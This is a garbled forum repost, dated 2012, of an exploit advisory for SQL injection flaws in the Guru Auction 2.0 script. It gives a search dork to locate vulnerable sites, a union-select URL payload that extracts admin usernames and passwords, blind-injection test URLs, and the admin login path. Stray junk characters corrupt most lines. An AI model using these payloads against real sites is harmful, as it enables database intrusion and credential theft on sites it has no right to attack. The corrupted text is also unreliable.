Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
/ o# u# c1 f7 o* f& _0 B2 O, U; ]7 g: D" R9 S
作者 : v3n0m- i+ ]; `! P8 ] }; N/ N
应用 : Guru Auction 2.0( j" U4 \% q' Y. d2 x
Price : $49
5 ~, w. [( ^: l2 ]Vendor : http://www.guruscript.com/8 {9 X0 l! T8 @3 x" b9 H5 L/ X
Google Dork : inurl:subcat.php?cate_id=: V9 M- k& |8 F Q& c8 Y& ^
; l% T5 ?6 d3 M2 SSQLi p0c:" ~3 F/ ?* t1 y) z1 }
~~~~~~~~~~4 g6 ?& m: e5 \0 h# C3 A v
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--% r8 g! n0 Q P M6 w
( z' _5 E: Q" g( y2 ]
" f0 s' s8 g. h4 p8 h# A, m! l盲注 p0c: t0 {+ a+ K4 j$ Y1 L5 T
~~~~~~~~~~
3 N1 J9 }; O$ a9 K- J1 t9 c0 uhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
5 V" a1 h5 @! P; |. R. Shttp://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false9 [7 _1 A: D2 k* d1 x9 R
0 j! p6 Y5 [- p$ Z4 `7 a管理登录入口:
3 h; o' k9 `; x Y& h: S- f! y/ o~~~~~~~~~~
( C' U* @0 k S- ahttp://domain.tld/[path]/admin/6 ]' S% b+ n! C1 W
|
发表于 2012-12-31 09:24:05
收藏
支持
反对